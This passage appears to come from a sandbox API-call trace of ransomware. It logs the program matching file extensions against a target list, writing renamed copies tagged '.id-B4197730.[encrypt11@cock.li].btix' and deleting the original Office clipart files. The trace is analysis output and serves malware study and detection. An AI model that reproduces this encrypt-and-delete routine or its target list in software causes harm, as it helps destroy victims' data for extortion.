(in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.331] SetEndOfFile (hFile=0x390) returned 1 [0149.332] CloseHandle (hObject=0x390) returned 1 [0149.332] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.332] SetEndOfFile (hFile=0x38c) returned 1 [0149.332] CloseHandle (hObject=0x38c) returned 1 [0149.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0149.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.333] lstrlenW (lpString=".doc") returned 4 [0149.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.333] lstrlenW (lpString=".docx") returned 5 [0149.333] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.333] lstrlenW (lpString=".pdf") returned 4 [0149.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.333] lstrlenW (lpString=".xls") returned 4 [0149.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.333] lstrlenW (lpString=".xlsx") returned 5 [0149.333] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.333] lstrlenW (lpString=".ppt") returned 4 [0149.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.334] lstrlenW (lpString=".zip") returned 4 [0149.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.334] lstrlenW (lpString=".rar") returned 4 [0149.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString=".bz2") returned 4 [0149.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString=".7z") returned 3 [0149.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.334] lstrlenW (lpString=".dbf") returned 4 [0149.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.334] lstrlenW (lpString=".1cd") returned 4 [0149.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.334] lstrlenW (lpString=".jpg") returned 4 [0149.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.334] lstrlenW (lpString=".doc") returned 4 [0149.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString=".docx") returned 5 [0149.334] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.334] lstrlenW (lpString=".pdf") returned 4 [0149.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.334] lstrlenW (lpString=".xls") returned 4 [0149.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.335] lstrlenW (lpString=".xlsx") returned 5 [0149.335] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.335] lstrlenW (lpString=".ppt") returned 4 [0149.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.335] lstrlenW (lpString=".zip") returned 4 [0149.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.335] lstrlenW (lpString=".rar") returned 4 [0149.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.335] lstrlenW (lpString=".bz2") returned 4 [0149.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.335] lstrlenW (lpString=".7z") returned 3 [0149.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.335] lstrlenW (lpString=".dbf") returned 4 [0149.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.335] lstrlenW (lpString=".1cd") returned 4 [0149.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0149.335] lstrlenW (lpString=".jpg") returned 4 [0149.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.335] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.335] lstrlenW (lpString="J0099166.JPG") returned 12 [0149.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.336] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=64767) returned 1 [0149.336] CloseHandle (hObject=0x38c) returned 1 [0149.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0149.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.336] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.336] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0149.336] GetLastError () returned 0x0 [0149.336] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xfcff, lpOverlapped=0x0) returned 1 [0149.338] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xfd00, lpOverlapped=0x0) returned 1 [0149.340] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.340] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.340] SetEndOfFile (hFile=0x390) returned 1 [0149.340] CloseHandle (hObject=0x390) returned 1 [0149.340] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.340] SetEndOfFile (hFile=0x38c) returned 1 [0149.341] CloseHandle (hObject=0x38c) returned 1 [0149.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0149.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.342] lstrlenW (lpString=".doc") returned 4 [0149.342] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.342] lstrlenW (lpString=".docx") returned 5 [0149.342] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.342] lstrlenW (lpString=".pdf") returned 4 [0149.342] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.342] lstrlenW (lpString=".xls") returned 4 [0149.342] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.342] lstrlenW (lpString=".xlsx") returned 5 [0149.342] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.342] lstrlenW (lpString=".ppt") returned 4 [0149.342] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.342] lstrlenW (lpString=".zip") returned 4 [0149.342] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.342] lstrlenW (lpString=".rar") returned 4 [0149.342] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.342] lstrlenW (lpString=".bz2") returned 4 [0149.342] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.342] lstrlenW (lpString=".7z") returned 3 [0149.342] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.342] lstrlenW (lpString=".dbf") returned 4 [0149.342] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.342] lstrlenW (lpString=".1cd") returned 4 [0149.342] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.342] lstrlenW (lpString=".jpg") returned 4 [0149.342] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.343] lstrlenW (lpString=".doc") returned 4 [0149.343] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.343] lstrlenW (lpString=".docx") returned 5 [0149.343] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.343] lstrlenW (lpString=".pdf") returned 4 [0149.343] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.343] lstrlenW (lpString=".xls") returned 4 [0149.343] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.343] lstrlenW (lpString=".xlsx") returned 5 [0149.343] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.343] lstrlenW (lpString=".ppt") returned 4 [0149.343] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.343] lstrlenW (lpString=".zip") returned 4 [0149.343] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.343] lstrlenW (lpString=".rar") returned 4 [0149.343] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.343] lstrlenW (lpString=".bz2") returned 4 [0149.343] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.343] lstrlenW (lpString=".7z") returned 3 [0149.343] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.343] lstrlenW (lpString=".dbf") returned 4 [0149.343] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.343] lstrlenW (lpString=".1cd") returned 4 [0149.343] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0149.344] lstrlenW (lpString=".jpg") returned 4 [0149.344] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.344] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.344] lstrlenW (lpString="J0099167.JPG") returned 12 [0149.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.344] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=43949) returned 1 [0149.344] CloseHandle (hObject=0x38c) returned 1 [0149.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0149.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.344] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.344] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0149.345] GetLastError () returned 0x0 [0149.345] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xabad, lpOverlapped=0x0) returned 1 [0149.346] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xabb0, lpOverlapped=0x0) returned 1 [0149.347] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.347] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.348] SetEndOfFile (hFile=0x390) returned 1 [0149.348] CloseHandle (hObject=0x390) returned 1 [0149.348] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.348] SetEndOfFile (hFile=0x38c) returned 1 [0149.349] CloseHandle (hObject=0x38c) returned 1 [0149.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0149.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.349] lstrlenW (lpString=".doc") returned 4 [0149.350] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.350] lstrlenW (lpString=".docx") returned 5 [0149.350] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0149.350] lstrlenW (lpString=".pdf") returned 4 [0149.350] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.350] lstrlenW (lpString=".xls") returned 4 [0149.350] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.350] lstrlenW (lpString=".xlsx") returned 5 [0149.350] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0149.350] lstrlenW (lpString=".ppt") returned 4 [0149.350] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.350] lstrlenW (lpString=".zip") returned 4 [0149.350] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.350] lstrlenW (lpString=".rar") returned 4 [0149.350] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.350] lstrlenW (lpString=".bz2") returned 4 [0149.350] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.350] lstrlenW (lpString=".7z") returned 3 [0149.350] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.350] lstrlenW (lpString=".dbf") returned 4 [0149.350] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.350] lstrlenW (lpString=".1cd") returned 4 [0149.350] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.350] lstrlenW (lpString=".jpg") returned 4 [0149.350] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.351] lstrlenW (lpString=".doc") returned 4 [0149.351] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.351] lstrlenW (lpString=".docx") returned 5 [0149.351] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0149.351] lstrlenW (lpString=".pdf") returned 4 [0149.351] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.351] lstrlenW (lpString=".xls") returned 4 [0149.351] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.351] lstrlenW (lpString=".xlsx") returned 5 [0149.351] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0149.351] lstrlenW (lpString=".ppt") returned 4 [0149.351] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.351] lstrlenW (lpString=".zip") returned 4 [0149.351] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.351] lstrlenW (lpString=".rar") returned 4 [0149.351] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.351] lstrlenW (lpString=".bz2") returned 4 [0149.351] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.351] lstrlenW (lpString=".7z") returned 3 [0149.351] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.351] lstrlenW (lpString=".dbf") returned 4 [0149.351] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.351] lstrlenW (lpString=".1cd") returned 4 [0149.351] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0149.351] lstrlenW (lpString=".jpg") returned 4 [0149.351] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.352] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.352] lstrlenW (lpString="J0099168.JPG") returned 12 [0149.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.352] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=20179) returned 1 [0149.352] CloseHandle (hObject=0x38c) returned 1 [0149.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0149.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.352] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0149.353] GetLastError () returned 0x0 [0149.353] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0149.354] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0149.355] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.355] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.355] SetEndOfFile (hFile=0x390) returned 1 [0149.355] CloseHandle (hObject=0x390) returned 1 [0149.355] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.355] SetEndOfFile (hFile=0x38c) returned 1 [0149.356] CloseHandle (hObject=0x38c) returned 1 [0149.356] SetFileAttributesW (lpFileName="C:\\Program 